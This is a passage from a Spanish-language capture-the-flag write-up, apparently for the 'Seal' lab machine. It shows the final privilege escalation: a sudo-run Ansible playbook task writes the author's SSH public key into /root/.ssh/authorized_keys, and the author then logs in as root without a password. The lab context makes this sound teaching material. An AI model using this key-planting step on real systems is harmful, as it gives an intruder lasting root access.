action: shell echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuTFbcJf0gTchUTWp+X/3xyP1JO8gq9nK2JUgf34qudrTWO8b963u0oZLxAFM8Opx8fR9jOXO0w2IE/G+9Az42XLOisqqQlSurPsIjW39I50RnP0vbcWC3GzY8gZAkrtT8yHhqsfGVKt4G6BrClzhLf5OVAywT9fX4TmS8oaLV88NyrPVbPe40NvE7mBbjW69JOr1jKs+tW0mxwyMtT5PpP5gPi16nkeyQ+sIWL3pZ1dW8DqMlUx6j4hftUYR8C2Ngr84hNpDgR4zaLM7H3l0w1nb8PvVbE7+siAP4NhaKui9k7mRWxDnqrWEbPuL/oCCH1qgzYGwJzUkKnV6buyh0plVZNljfEl0tgR/Cj4VDBz9zv0FQIB+jPY73a4f96rBETEVluJWpLxcEeXY80q/WF08kOVzbf3KO8sI2EZBqoriiBannycjK2gKH2re/+UYsJiB/tufEBLQB7sSf4xeRsEdqSv/qf9rrB4lAsporP/5otsUpvyh32dibwnNQR3E= root@ayya" > /root/.ssh/authorized_keys
- name: Check agregazhion y creasion
action: shell find /root > /tmp/tessst/dir_root
Perfecto, nuestras tres tareas bien lindas, ejecutemos a ver queeee:
luis@seal:/tmp/tessst$ sudo /usr/bin/ansible-playbook run.yml
Bien, un vistazo rápido a nuestro archivo dir_root
:
luis@seal:/tmp/tessst$ cat dir_root
...
/root/.ssh
/root/.ssh/authorized_keys
Carpeta creada y archivo creado 🙌
Y ahora como prueba final debemos conectarnos contra el usuario root
utilizando SSH, no nos debería pedir contraseña y tendríamos una Shell:
❱ ssh root@10.10.10.250
PEEEEEEEEEEEEEERFECTOOOOOOOOOOOOOO, obtenemos nuestra Shell como root
(:
Ya podríamos ver las flags…
Y tamoooos.
…
Bastaaaante interesante el camino de tomcat a root. Muuy divertido y original (o pues yo no lo había visto).
Hasta acá nos ha traído este writeup, nos leeremos después, peeeero seguiremos rompiendo de todooooooooooooooo!
Comments